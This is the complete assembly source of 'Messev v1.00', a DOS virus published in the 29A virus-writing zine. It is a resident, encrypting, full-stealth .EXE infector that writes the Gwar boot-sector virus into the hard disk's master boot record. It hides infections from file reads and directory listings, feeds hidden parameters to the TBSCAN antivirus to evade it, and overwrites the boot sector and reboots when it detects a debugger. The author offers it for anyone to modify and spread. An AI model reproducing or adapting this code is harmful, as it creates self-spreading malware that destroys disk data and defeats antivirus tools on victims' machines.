Copy Link
Add to Bookmark
Report
29A Issue 03 05 11
;============================================================================
;
; NAME: Messev v1.00
; TYPE: Parasitic resident full stealth .EXE-infector.
; PURPOSE: Designed to drop the [Gwar v1.10] bootsector-virus.
; SIZE: Over 2776 bytes.
; AUTHOR: T-2000 / Invaders.
; DATE: March 1998 / May 1998.
;
; Capabilities:
;
; - Tunneling on INT 13h and INT 21h.
; - Variable encrypting.
; - Full stealth, (SFT-stealth however...).
; - Drops bootsector-virus.
; - Hides bootsectors/MBRs infected with Gwar.
; - Completely invisible for TBSCAN (adds parameters, uses INTs).
; - Anti-tracer: detects tracers (trashes bootsector).
; - Disables stealth on execution archivers (works with PKZIP).
; - Anti-debugging tricks.
;
;
; PROBLEMS:
;
; There are still some things to do, like:
;
; - Stealth filereads without SFT's.
; - Determination of system-handles via IOCTL (function 44h). *DONE*
; - Dummy-critical errorhandler. *DONE*
;
; BUGS:
; - DEBUG crashes on exit after port-access.
; - Stack isn't right in carrier. *FIXED*
; - ARJ exits with a Divide Error. *FIXED*
; - The SBB causes some programs to crash (see above), despite
; that it is correct. (fixed by removal).
; - Invircible terminates with a runtime-error, this is caused
; by hooking function 4301h (set file attributes).
;
; Can somebody tell me why the port-access is screwing things up?
; It'sa real pain in mah ass!
;
;
;
;
; Structure: HOST + PADDING + VIRUS + PADDING + HEADER.
;
; This virus is dedicated to a very pretty woman who was on Dutch television,
; called 'Gallyon van Vessem'.
;
; Since the stupid AV'ers don't assign a person's name to a virus, this
; one is not officially called 'Gallyon'. Instead 'Messev'.
;
; Stealth-marker is 60 seconds.
;
; Passes sanity-checks in anti-virus programs.
;
; When I got ready with Gwar, I've decided build it inside a file-infector,
; (nobody boots from a diskette nowadays). At first I thought of a Tai-Pan-
; hack, later I decided to write my own. It turned out to be the most stealth
; virus I ever programmed.
;
; Some things were removed to make the virus a little more smaller:
;
; - Zero-track hiding.
;
; Scanner detection:
; - TbScan : Only the T-flag (invalid timestamp).
; - F-Prot : Possible variant of Desperado (dis is not a hack Goddammit!)
;
;
; Some parts may look a bit messy, this is due optimization.
; Also excuse me if there is some bad English in this source.
;
; My E-Mail: T2000_@HotMail.Com
;
; To whoever who has dis source: U can do with it whatever U want:
;
; - Modify it, (just give me credit)
; - Publish it,
; - Stick it where da sun doesn't shine.
;
; LAST REMARKS: I hope 2B on #VIRUS very soon!
;
;============================================================================
.MODEL TINY
.STACK 4096
.CODE
ORG 0
Virus_Size EQU OFFSET Virus_End - OFFSET Virus_Begin
Virus_Mem_Size EQU ((Virus_Size * 2) / 16) + (128 / 16)
Marker_Mem EQU 921Fh
Marker_File EQU 0F0B1h
Residency_Check EQU 0DCD0h
Bios EQU 13h
Dos EQU 21h
Virus_Begin:
Gwar_Boot: INCLUDE GWAR.ASM ; Bootsector-virus.
Entry:
CLI ; Detect if a tracer is used.
PUSH AX
POP AX
DEC SP
DEC SP
POP BX
STI
CMP AX, BX ; Word correct?
JE Not_Traced ; Then continue execution.
; === Our retaliation ===
Trash_RAM:
MOV Trace_Mode, Bios ; Find BIOS-entrypoint.
CALL Tracer
MOV AX, 0301h ; Trash bootsector & part
MOV CX, 01h ; of FAT with garbage.
MOV DX, 0180h ; (don't hurt our child).
CALL BiosInt
INT 19h ; Reboot system.
Not_Traced:
MOV AX, Residency_Check ; Call residency-check.
INT 21h
CMP AX, Marker_Mem ; Are we already TSR?
JNE Make_Resident
Exec_Host:
CALL Pop_All
MOV AX, ES
ADD AX, 10h ; Plus PSP.
ADD CS:Old_Entry+2, AX ; Add effective segment.
ADD AX, CS:Old_Stack+2 ; Plus old SS.
CLI
MOV SS, AX ; Restore stack.
MOV SP, CS:Old_Stack
STI
;IN AL, 21h ; Unlock keyboard.
;AND AL, NOT 02h
;OUT 21h, AL
XOR AX, AX ; Clear AX.
JMP DWORD PTR CS:Old_Entry ; JMP to host.
Make_Resident:
MOV AH, 62h ; Get PSP, (screws some
INT 21h ; debuggers).
DEC BX ; Get our MCB.
MOV DS, BX
CMP BYTE PTR DS:[0], 'Z' ; We want the last MCB.
JNE Exec_Host ; Don't install when not.
SUB WORD PTR DS:[03h], Virus_Mem_Size
SUB WORD PTR DS:[12h], Virus_Mem_Size
MOV ES, DS:[12h]
PUSH CS
POP DS
CLD ; Copy virus to high-mem.
XOR SI, SI
XOR DI, DI
MOV CX, Virus_Size
REP MOVSB
MOV AX, OFFSET Relocated2
PUSH ES ; JMP to relocated virus.
PUSH AX
RETF
DB '=[ Messev v1.00, (c) 1998 by T-2000 / Invaders ]='
Relocated2:
PUSH CS
POP DS
; Status: Bits
;
; 0 Infect mode.
; 1 Filesize stealth mode.
; 2 Read-stealth mode.
;
MOV Status, 00000011b
MOV AX, 3000h ; Get DOS-version (OEM).
INT 21h
CMP BH, 0FFh ; Microsoft MS-DOS?
JE SFT_Supported
CMP BH, 0EEh ; Digital Research DR-DOS?
JNE No_SFTs
SFT_Supported: OR Status, 00000100b ; Read-stealth enabled.
No_SFTs:
MOV AL, Status ; Save initial status.
MOV Init_Status, AL
MOV Trace_Mode, Dos ; Find DOS-entrypoint.
CALL Tracer
MOV Trace_Mode, Bios ; Find BIOS-entrypoint.
CALL Tracer
MOV AL, 13h ; Hook INT 13h.
MOV BX, OFFSET Stealth_Int13h ; Stealth-handler for MBR.
MOV CX, CS
CALL SetInt
CALL Gwar_Dropper ; Install our lil' present.
NOP ; Leave dis here!
MOV AL, 21h ; Hook INT 21h.
MOV BX, OFFSET NewInt21h
MOV CX, CS
CALL SetInt
JMP Exec_Host
; See if Gwar is already installed, or else install.
; Because we use the tunnelled vector, we can read beyond Gwar's stealth.
Gwar_Dropper:
; Delete port-access driver, so Gwar can infect under Win95. (Same method
; as used in Hare virus).
MOV AH, 41h ; Delete driver.
MOV DX, OFFSET Port_Driver
CALL DosInt
MOV AX, Marker_Mem_Gwar ; Gwar residency-check.
INT 13h
CMP AX, NOT Marker_Mem_Gwar ; Gwar resident?
JE Exit_Installer ; If so, don't install.
MOV AH, 0Dh ; Reset harddisk.
MOV DL, 80h
CALL BiosInt
POP BX ; POP return address to BX.
PUSH BX ; PUSH it back.
MOV BYTE PTR [BX], 90h ; Remove breakpoint.
MOV AX, 0201h ; Read MBR of 1st harddisk.
MOV BX, OFFSET Buffer
MOV CX, 01h
MOV DX, 80h
CALL BiosInt
JC Exit_Installer
CMP [BX+Signature], Marker_Boot ; Already infected?
JE Exit_Installer ; Then abort drop.
MOV AX, 0301h ; Store original MBR.
MOV CX, 02h
MOV DX, 80h
CALL BiosInt
JC Exit_Installer
MOV AX, 0301h ; Write Gwar to MBR.
MOV BX, OFFSET Gwar_Boot
MOV CX, 01h
MOV DX, 80h
CALL BiosInt
Exit_Installer:
RETN
Stealth_Int13h:
CMP AH, 02h ; Read?
JNE JMP_Int13h
OR DH, DH ; Zero-head.
JNZ JMP_Int13h
CMP CX, 01h ; Bootsector?
JNE JMP_Int13h
CALL BiosInt ; Execute function.
CALL Push_All
JC Exit_Stealth_i13h ; Exit if error occurred.
CMP ES:[BX+Signature], Marker_Boot
JNE Exit_Stealth_i13h
MOV AX, 0201h ; Read original bootsector.
MOV CX, ES:[BX+Stored_TS]
MOV DX, ES:[BX+Stored_HD]
CALL BiosInt
Exit_Stealth_i13h:
CALL Pop_All
RETF 2
JMP_Int13h: JMP DWORD PTR CS:Int13h
; <=== S T E A L T H R O U T I N E S ===>
Stealth_Filesize_FCB:
CALL DosInt
CALL Push_All
TEST CS:Status, 00000010b
JZ Error_FCB
OR AL, AL ; Error?
JNZ Error_FCB
MOV AH, 2Fh ; Get DTA-address.
CALL DosInt
CMP BYTE PTR ES:[BX], 0FFh ; Extended FCB?
JNE Normal_FCB
ADD BX, 7 ; Skip extended stuff.
Normal_FCB: MOV AL, ES:[BX+17h]
AND AL, 00011111b ; Infected stamp?
CMP AL, 00011110b
JNE Error_FCB
AND BYTE PTR ES:[BX+17h], 11100000b
SUB WORD PTR ES:[BX+1Dh], (Virus_Size + 16 + 24)
SBB WORD PTR ES:[BX+1Fh], 0
Error_FCB:
CALL Pop_All
RETF 2
; Subtract the virussize from infected files' length & clear 60 seconds.
Stealth_Filesize:
CALL DosInt ; Execute function.
CALL Push_All
JC No_Filesize_Stealth ; Abort when error.
TEST CS:Status, 00000010b
JZ No_Filesize_Stealth ; No, then abort.
MOV AH, 2Fh ; Get DTA-address.
CALL DosInt
MOV AL, ES:[BX+16h] ; Get seconds-field.
AND AL, 00011111b ; Mask seconds.
CMP AL, 00011110b ; Equal to 60 seconds?
JNE No_Filesize_Stealth ; No stealth when not.
AND BYTE PTR ES:[BX+16h], 11100000b ; 0 seconds.
SUB WORD PTR ES:[BX+1Ah], (Virus_Size + 16 + 24)
SBB WORD PTR ES:[BX+1Ch], 0
No_Filesize_Stealth:
CALL Pop_All
RETF 2 ; Return 2 caller.
; Prevents readings after virtual file & redirect readings from header.
Stealth_File_Read:
CALL Push_All
MOV CS:Read_Buffer, DS
TEST CS:Status, 00000100b ; Can we use SFT-stealth?
JZ JMP_No_Stealth
MOV CS:Read_Bytes, CX ; Save # of bytes to read.
MOV CS:Read_Buffer+2, DX
CALL Check_Handle ; Dis is a filehandle?
JNZ JMP_No_Stealth ; Abort when it isn't.
CALL Check_Stamp ; Infected timestamp?
JZ Stealth_Read
JMP_No_Stealth: JMP No_Stealth_Read
Stealth_Read:
CALL Get_DCB ; Get the SFT-address.
MOV AX, ES:[DI+17h] ; Pos. before read hi.
MOV CS:File_Pos, AX
MOV AX, ES:[DI+15h] ; Pos. before read lo.
MOV CS:File_Pos+2, AX
SUB WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24)
SBB WORD PTR ES:[DI+13h], 0
CALL Pop_All
CALL DosInt ; Execute function.
CALL Push_All
JC Abort_Stealth ; Abort when error.
CALL Get_DCB
ADD WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24)
ADC WORD PTR ES:[DI+13h], 0
PUSH CS
POP DS
CMP File_Pos, 0 ; Reading 1st 64k?
JNZ Abort_Stealth ; Abort when not.
CMP File_Pos+2, 24 ; Reading header?
JA Abort_Stealth ; Abort when not.
CALL Save_File_Pos
CALL Go_End_File ; Go to position of old
SUB AX, 24 ; header at end of file.
SBB DX, 0
ADD AX, File_Pos+2 ; Pos in header.
ADC DX, 0
MOV ES:[DI+17h], DX ; Pos. old header.
MOV ES:[DI+15h], AX ; Pos. old header.
MOV AH, 3Fh ; Read original header
MOV CX, 24 ; into caller's buffer.
SUB CX, File_Pos+2
MOV DX, Read_Buffer+2
MOV DS, Read_Buffer
CALL DosInt
CALL Restore_File_Pos
Abort_Stealth:
CALL Pop_All
RETF 2 ; Return to caller.
No_Stealth_Read:
CALL Pop_All
JMP Continue
; Prevents lseeks beyond virtual file.
Stealth_Fileseek:
CALL Push_All
TEST CS:Status, 00000100b ; Readstealth?
JZ No_Stealth_lseek
CALL Check_Stamp ; Infected stamp?
JNZ No_Stealth_Lseek
CALL Get_DCB
SUB WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24)
SBB WORD PTR ES:[DI+13h], 0
CALL Pop_All
CALL DosInt ; Execute function.
CALL Push_All
CALL Get_DCB
ADD WORD PTR ES:[DI+11h], (Virus_Size + 16 + 24)
ADC WORD PTR ES:[DI+13h], 0
CALL Pop_All
RETF 2
No_Stealth_lseek:
CALL Pop_All
JMP Continue
; DS:DX = Filename.
Clean_By_File:
CALL Push_All
MOV AX, 3D02h ; Open file r/w.
CALL DosInt
JC Abort_Clean
XCHG BX, AX
CALL Clean_Handle ; Clean it.
MOV AH, 3Eh ; Close file.
CALL DosInt
Abort_Clean:
CALL Pop_All
JMP Continue
; Removes the virus physically from disk, before a program writes to it.
Clean_By_Handle:
CALL Clean_Handle
JMP Continue
; Cleans the handle, (must have read/write access).
Clean_Handle:
CALL Push_All
CALL Hook_i24h
PUSH CS
POP DS
CALL Check_Handle ; Filehandle?
JNZ No_Del
MOV AX, 5700h ; Get filedate.
CALL DosInt
MOV FileTime, CX ; Save it.
MOV FileDate, DX
AND CL, 00011111b ; Mask seconds.
CMP CL, 00011110b ; 60 seconds ?
JNE No_Del
CALL Save_File_Pos
CALL Go_End_File
SUB AX, 24
SBB DX, 0
MOV CX, DX
XCHG DX, AX
MOV AX, 4200h ; Pos. old header.
CALL DosInt
MOV AH, 3Fh ; Read old header.
MOV CX, 24
MOV DX, OFFSET Header
CALL DosInt
CALL Go_End_File
SUB AX, (Virus_Size + 16 + 24)
SBB DX, 0
MOV CX, DX
XCHG DX, AX
MOV AX, 4200h ;
CALL DosInt
MOV AH, 40h ; Write <EOF> marker.
XOR CX, CX
CALL DosInt
CALL Go_Begin_File
MOV AH, 40h ; Write old header.
MOV CX, 24
MOV DX, OFFSET Header
CALL DosInt
MOV AX, 5701h ; Set clean filedate.
MOV CX, FileTime
MOV DX, FileDate
AND CL, 11100000b ; Clear seconds.
CALL DosInt
CALL Restore_File_Pos
No_Del: CALL Unhook_i24h
CALL Pop_All
RETN
; Check if timestamp is marked as 'infected'.
; BX = Filehandle.
; ZF set when infected.
Check_Stamp:
PUSH AX
PUSH CX
PUSH DX
MOV AX, 5700h ; Get time & datestamp.
CALL DosInt
AND CL, 00011111b ; Infected?
CMP CL, 00011110b ; (Set's flags).
POP DX
POP CX
POP AX
RETN
; Hides infected timestamp.
Stealth_Time:
CALL DosInt
PUSHF
PUSH CX
MOV CS:Temp, CL
JC No_Stealth_Time
TEST CS:Status, 00000010b
JZ No_Stealth_Time
CALL Check_Stamp
JNZ No_Stealth_Time
AND CS:Temp, 11100000b ; Zero seconds.
No_Stealth_Time:
POP CX
POPF
MOV CL, CS:Temp
RETF 2
Save_File_Pos:
MOV AX, 4201h ; Get file-position.
XOR CX, CX
CWD
CALL DosInt
MOV CS:Old_Pos, DX
MOV CS:Old_Pos+2, AX
RETN
Restore_File_Pos:
MOV AX, 4200h
MOV CX, CS:Old_Pos
MOV DX, CS:Old_Pos+2
CALL DosInt
RETN
Go_Begin_File:
MOV AX, 4200h
XOR CX, CX
CWD
CALL DosInt
RETN
;-------------------------
; Goes to end of file.
;
; In: BX = filehandle
; Out: DX:AX = filesize
;-------------------------
Go_End_File:
MOV AX, 4202h
XOR CX, CX
CWD
CALL DosInt
RETN
; These INT 21h functions will be trapped by our virus. If the subfunction
; is 0FFh, it will be treaded like a wildcard.
Functions:
DW 11FFh ; Findfirst (FCB).
DW Stealth_Filesize_FCB
DW 12FFh ; Findnext (FCB).
DW Stealth_Filesize_FCB
DW 4EFFh ; Findfirst (handle).
DW Stealth_Filesize
DW 4FFFh ; Findnext (handle).
DW Stealth_Filesize
DW 4B00h ; Execute file.
DW Init_Exec
DW 4B01h ; Load but not execute.
DW Clean_By_File
DW 5700h ; Get filetime.
DW Stealth_Time
DW 3CFFh ; Create/truncate file.
DW Check_Infect
DW 3DFFh ; Open file.
DW Check_Infect
DW 3FFFh ; Read file (handle).
DW Stealth_File_Read
DW 40FFh ; Write to file (handle).
DW Clean_By_Handle
DW 42FFh ; lseek file.
DW Stealth_Fileseek
DW 41FFh ; Delete file.
DW Check_Infect
DW 4CFFh ; Program terminate.
DW Switch_Stealth_On
DW 6CFFh ; Extended open/create.
DW Check_Infect
DW 43FFh ; Get file-attributes.
DW Check_Infect
DW Residency_Check ; Are-You-There call.
DW Return_Call
DW 0 ; End table.
NewInt21h:
PUSH SI
PUSH BX
MOV SI, OFFSET Functions
Next_Function:
MOV BX, CS:[SI]
OR BH, BH ; End of table reached?
JZ End_Table_Reached ; Then abort.
CMP BH, AH ; Function match?
JNE Another
CMP BL, 0FFh ; Don't compare subfunction?
JE Exec_Function ; Then JMP to routine.
CMP BL, AL ; Subfunction right?
JE Exec_Function ; Then JMP to routine.
Another:
ADD SI, 4 ; Next entry.
JMP Next_Function ; Repeat loop.
End_Table_Reached:
POP BX
POP SI
Continue: JMP DWORD PTR CS:Int21h
Exec_Function:
MOV BX, CS:[SI+2]
MOV CS:Ret_Add, BX
POP BX
POP SI
JMP CS:Ret_Add ; JMP to routine.
; === Let the virus know that we are already installed in memory. ===
Return_Call:
MOV AX, Marker_Mem
IRET
Switch_Stealth_On:
PUSH AX
MOV AL, CS:Init_Status
MOV CS:Status, AL
POP AX
JMP Continue
Init_Exec:
CALL Push_All
; Should we be inactive during run of program?
; Else causes problems.
; ARJ.EXE Timestamp incorrect.
; PKZIP.EXE Wrong filesizes, etc.
MOV SI, DX
MOV DI, OFFSET No_Active
MOV CX, (OFFSET End_No_Active - OFFSET No_Active) / 7
CALL Search_Table
JNZ No_Disable
AND CS:Status, 00000000b
No_Disable:
MOV DI, OFFSET TBSCAN ; Add parameters to TBSCAN?
MOV CX, 1
CALL Search_Table
JNZ Not_TbScan
MOV DI, ES:[BX+2]
MOV ES, ES:[BX+4]
MOV AL, ES:[DI]
CBW
ADD BYTE PTR ES:[DI], 6 ; Length parameters.
INC DI
ADD DI, AX
PUSH CS
POP DS
CLD
MOV SI, OFFSET Parameters
MOVSW
MOVSW
MOVSW
MOVSB
Not_TbScan:
CALL Pop_All
; === INFECTION ROUTINE ===
Check_Infect:
CALL Push_All
CALL Hook_i24h ; Dummy error-handler.
CMP AH, 6Ch ; Extended open/create?
JNE No_Ext_Open ; (used by F-Prot).
MOV DX, SI ; DX = SI.
No_Ext_Open:
TEST CS:Status, 00000001b ; Infect-mode on?
JZ JMP_Exit_i21h ; Abort when not.
MOV AX, 3D02h ; Open file for r/w.
CALL DosInt
JNC No_Open_Error
JMP_Exit_i21h: JMP Exit_Int_21h
DB 'Daddy-K-tit 2 Gallyon van Vessem'
No_Open_Error:
XCHG BX, AX ; BX = Handle.
CALL Check_Handle ; Filehandle?
JNZ Abort_Check
PUSH CS
POP DS
PUSH CS
POP ES
MOV AH, 3Fh ; Read header.
MOV CX, 24
MOV DX, OFFSET Header
CALL DosInt
JC Abort_Check ; If we can't read.
CALL Go_End_File
OR DX, DX ; > 64k?
JNZ Over_64k
CMP AX, 560 ; File too small?
JB Abort_Check
Over_64k:
CMP Mark, 'ZM' ; .EXE-file?
JNE Abort_Check ; Exit when not.
CMP Checksum, Marker_File ; Already infected?
JNE Infect_File
Abort_Check:
JMP Close_File
Infect_File:
MOV AX, 5700h ; Get filetime.
CALL DosInt
PUSH CX
PUSH DX
CALL Go_End_File
AND AX, 00001111b ; Filelength MOD 16.
MOV Padding, AX
OR AX, AX
JZ No_Padding
MOV AH, 40h ; Write padding bytes.
MOV CX, 16
SUB CL, AL
MOV Padding, CX
CALL DosInt
No_Padding:
CALL Go_End_File
PUSH DX ; Size host + padding.
PUSH AX
CLD ; Save old CS:IP.
MOV SI, OFFSET Init_IP
MOV DI, OFFSET Old_Entry
MOVSW
MOVSW
MOV AX, Init_SP ; Save old SS:SP.
MOV Old_Stack, AX
MOV AX, Init_SS
MOV Old_Stack+2, AX
IN AL, 40h ; Get random encryption-key.
MOV File_Key, AL
CLD ; Copy virus to buffer
XOR SI, SI ; for encryption.
MOV DI, OFFSET Buffer
MOV CX, Virus_Size
REP MOVSB
MOV SI, OFFSET Buffer
MOV CX, OFFSET End_Encrypted_File
Encrypt_Byte:
XOR BYTE PTR [SI], AL ; Encrypt ourself in buffer.
INC SI
LOOP Encrypt_Byte
MOV AH, 40h ; Append virus to host.
MOV CX, (Virus_Size + 16)
SUB CX, Padding
MOV DX, OFFSET Buffer
CALL DosInt
MOV AH, 40h ; Write original header
MOV CX, 24 ; to end of hostfile.
MOV DX, OFFSET Header
CALL DosInt
MOV AX, HeaderSize ; Calculate headersize.
MOV CX, 16
MUL CX
XCHG CX, AX
POP AX ; Length host + padding.
POP DX
SUB AX, CX ; Minus headersize.
SBB DX, 0 ; *** Causes a bug with ARJ
; by small files. > 512.
; Also with Invircible.
MOV CX, 16 ; In paragraphs.
DIV CX
MOV Init_CS, AX ; Store new CS.
MOV Init_IP, OFFSET START
DEC AX ; Anti-heuristic.
MOV Init_SS, AX
MOV Init_SP, (Virus_Mem_Size * 16)
CALL Go_End_File
MOV CX, 16 ; Filelength in paragraphs.
DIV CX
ADD AX, Virus_Mem_Size
MOV MinMem, AX
CALL Go_End_File
MOV CX, 512 ; 512 byte-pages.
DIV CX
OR DX, DX ; No rest?
JZ No_Round ; Then no round-off.
INC AX ; Round off.
No_Round: MOV Byte_Pages, AX
MOV MOD512, DX
MOV Checksum, Marker_File ; Mark as infected.
CALL Go_Begin_File
MOV AH, 40h ; Write updated header.
MOV CX, 24
MOV DX, OFFSET Header
CALL DosInt
MOV AX, 5701h ; Restore filedate.
POP DX
POP CX
AND CL, 11100000b ; Clear seconds.
OR CL, 00011110b ; 60 secs.
CALL DosInt
Close_File: MOV AH, 3Eh ; Close file.
CALL DosInt
Exit_Int_21h:
CALL Unhook_i24h
CALL Pop_All
JMP Continue
; Tunnelled disk interrupt 13h.
BiosInt:
PUSHF
CALL DWORD PTR CS:Int13h
RETN
; === Call the tunnelled DOS-interrupt. ===
DosInt:
PUSHF
CALL DWORD PTR CS:Int21h
RETN
;====( Get interrupt vector )================================================
;
; AL = Interrupt number to hook.
;
; Return: CX:BX = Pointer to INT.
;============================================================================
GetInt:
PUSH SI
PUSH DS
PUSH AX
MOV AH, 4
MUL AH
XCHG SI, AX
XOR AX, AX
MOV DS, AX
CLI ; Get handler-address.
MOV BX, DS:[SI]
MOV CX, DS:[SI+2]
STI
POP AX
POP DS
POP SI
RETN
;====( Set interrupt vector )================================================
;
; AL = Interrupt number to hook.
;
; Returns:
;
; CX:BX = Pointer to handler.
;============================================================================
SetInt:
PUSH SI
PUSH DS
PUSH DX
PUSH AX
MOV AH, 4
MUL AH
XCHG SI, AX
XOR AX, AX
MOV DS, AX
CLI
MOV DS:[SI], BX
MOV DS:[SI+2], CX
STI
POP AX
POP DX
POP DS
POP SI
RETN
Old_Entry DW OFFSET Carrier, 0 ; Entrypoint host.
Old_Stack DW OFFSET Virus_End + 1024, 0 ; Stacksegment host.
; === Finds the original BIOS & DOS entrypoint. ===
Tracer:
CALL Push_All
MOV AH, 52h ; List of lists.
INT 21h
MOV AX, ES:[BX-02h] ; Get 1st MCB.
MOV Dos_Segment, AX
MOV AL, 01h ; Save INT 01h.
CALL GetInt
MOV Int01h, BX
MOV Int01h+2, CX
MOV AL, 01h ; Hook INT 01h.
MOV BX, OFFSET NewInt01h
MOV CX, CS
CALL SetInt
MOV AL, Trace_Mode ; Get address from vector.
CALL GetInt
PUSHF
POP AX
OR AH, 01h ; TF on.
PUSH AX
POPF
CMP Trace_Mode, Bios
JNE Mode_Dos
MOV Int13h, BX
MOV Int13h+2, CX
XOR AH, AH ; Reset disk.
CALL BiosInt
JMP Exit_Tracer
Mode_Dos:
MOV Int21h, BX
MOV Int21h+2, CX
MOV AX, 3000h ; Get DOS-version (OEM).
CALL DosInt
Exit_Tracer:
PUSHF
POP AX
AND AH, NOT 01h ; TF off (just in case).
PUSH AX
POPF
MOV AL, 01h ; Restore INT 01h.
MOV BX, Int01h
MOV CX, Int01h+2
CALL SetInt
CALL Pop_All
RETN
; I should be learning 4 my exams right now...
DB 'If I don''t pass... fuck it!', 0
DB 'SKLSUX!'
NewInt01h:
PUSH BP
MOV BP, SP
PUSH AX
PUSH DS
MOV AX, [BP+4] ; Segment.
CMP Trace_Mode, Bios
JNE Trace_Dos
CMP AH, 0C0h ; In BIOS-segment?
JB Not_In_Bios ; Continue when not.
MOV Int13h+2, AX
MOV AX, [BP+2]
MOV Int13h, AX
JMP Diss_Flag
Trace_Dos:
CMP AX, Dos_Segment ; In DOS-segment?
JNB Not_In_Bios ; Continue when not.
MOV Int21h+2, AX
MOV AX, [BP+2]
MOV Int21h, AX
Diss_Flag:
AND BYTE PTR [BP+7], NOT 01h ; Diss trapflag on stack.
Not_In_Bios:
POP DS
POP AX
POP BP
IRET
; Taken from Predator virus.
Push_All:
POP CS:[Ret_Add] ; Pop return address to var.
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH BP
JMP CS:Ret_Add ; Push return address on
; the stack.
Pop_All:
POP CS:[Ret_Add] ; Save return address.
POP BP
POP ES
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
JMP CS:[Ret_Add]
; Gets the SFT-address. *UNDOCUMENTED*
; BX = Handle.
;
Get_DCB:
PUSH BX
MOV AX, 1220h ; Get DCB-number.
INT 2Fh
MOV AX, 1216h ; Get DCB-address.
MOV BL, ES:[DI]
INT 2Fh
POP BX
RETN
TBSCAN DB 'TBSCAN.'
; During execution of one of these programs, the virus will be inactive,
; (no stealth, no infect).
No_Active:
DB 'PKZIP.E' ; PKZIP.EXE
DB 'ARJ.EXE' ; ARJ.EXE
DB 'LHA.EXE' ; LHA.EXE
DB 'RAR.EXE' ; RAR.EXE
DB 'CHKDSK.' ; CHKDSK.EXE
End_No_Active:
Hook_i24h:
CALL Push_All
MOV AL, 24h ; Get INT 24h.
CALL GetInt
MOV CS:Int24h, BX
MOV CS:Int24h+2, CX
MOV AL, 24h ; Hook INT 24h.
MOV BX, OFFSET NewInt24h
MOV CX, CS
CALL SetInt
CALL Pop_All
RETN
; I would really recommend getting this CD
; (yes, it's da theme-music from Carmageddon).
DB '[ DEMANUFACTURE - FEAR FACTORY ]'
Unhook_i24h:
CALL Push_All
MOV AL, 24h ; Restore INT 24h.
MOV BX, CS:Int24h
MOV CX, CS:Int24h+2
CALL SetInt
CALL Pop_All
RETN
; Dummy Critical Error handler.
NewInt24h:
MOV AL, 03h
IRET
;=======================================================================
; Search a table & (re)set zeroflag depending on result. ZF when found.
;
; DS:SI = Line
; CS:DI = Table
; CX = Number of names to compare.
;=======================================================================
Search_Table:
PUSH AX
PUSH BX
PUSH SI
PUSH DI
PUSH BP
PUSH DS
PUSH ES
PUSH CX
PUSH DI
PUSH ES
PUSH DS
POP ES
PUSH SI
POP DI
MOV AL, '.'
CLD
MOV CX, 127
REPNZ SCASB
MOV AL, '\'
STD
MOV CX, 127
REPNZ SCASB
MOV BP, ES:[DI+2]
MOV BX, ES:[DI+4]
MOV DX, ES:[DI+6]
MOV AL, ES:[DI+8]
POP ES
POP DI
POP CX
Find_Match:
CMP CS:[DI+0], BP
JNE Not_Found
CMP CS:[DI+2], BX
JNE Not_Found
CMP CS:[DI+4], DX
JNE Not_Found
CMP CS:[DI+6], AL
JNE Not_Found
Comple: CMP AX, AX
JMP Exit_Sea
Not_Found:
ADD DI, 7
LOOP Find_Match
XOR AX, AX
NOT AL
CMP AL, AH
Exit_Sea:
POP ES
POP DS
POP BP
POP DI
POP SI
POP BX
POP AX
RETN
; Is the handle in BX corresponding to a file or a device? (sets ZF).
Check_Handle:
MOV AX, 4400h ; IOCTL
CALL DosInt
TEST DL, 80h ; Filehandle?
RETN
Port_Driver DB 'C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR', 0
Parameters DB ' NM CO', 0Dh
End_Encrypted_File:
NOP_Msg DB '$'
; === VIRUS ENTRYPOINT ===
START:
PUSHF ; Save registers.
PUSH AX ; (Same as Push_All).
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
PUSH BP
;IN AL, 21h ; Take-out keyboard.
;OR AL, 02h
;OUT 21h, AL
PUSH CS
POP DS
XOR BX, BX
MOV CX, OFFSET End_Encrypted_File
Decrypt_Byte: XOR BYTE PTR [BX], 0 ; Decrypt our body.
ORG $-1
File_Key DB 0
INC BX
MOV AH, 09h ; Prints a empty string.
MOV DX, OFFSET NOP_Msg ; (Anti-TbScan).
INT 21h
LOOP Decrypt_Byte
JMP Entry
Virus_End:
Header:
Mark DW 0 ; .EXE-identifier (always 'MZ').
Mod512 DW 0
Byte_Pages DW 0
Num_Reloc DW 0
HeaderSize DW 0
MinMem DW 0
MaxMem DW 0
Init_SS DW 0
Init_SP DW 0
Checksum DW 0 ; Checksum, unused by MS-DOS, used by us.
Init_IP DW 0
Init_CS DW 0
; === TEMP VARIABLES ===
Status DB 0
Init_Status DB 0
Int01h DW 0, 0
Int21h DW 0, 0 ; Tunnelled INT 21h.
Int24h DW 0, 0
New_Pos DW 0, 0
Old_Pos DW 0, 0
File_Pos DW 0, 0
Read_Bytes DW 0
Padding DW 0
Dos_Segment DW 0 ; 1st Memory Control Block.
Trace_Mode DB 0 ; Are we tracing BIOS or DOS-interrupt?
Ret_Add DW 0
Tunnel_Int DW 0, 0 ; Address of the tunneled interrupt.
Read_Buffer DW 0, 0
FileTime DW 0
FileDate DW 0
Temp DB 0
Buffer:
Carrier:
PUSH CS
POP DS
MOV AH, 09h ; Display warning.
MOV DX, OFFSET Warning_Msg
INT 21h
MOV AX, 4C00h ; Exit to DOS.
INT 21h
Warning_Msg DB 'WARNING: This program is infected with the '
DB 'Messev v1.00 virus!', 0Ah, 0Dh, '$'
END START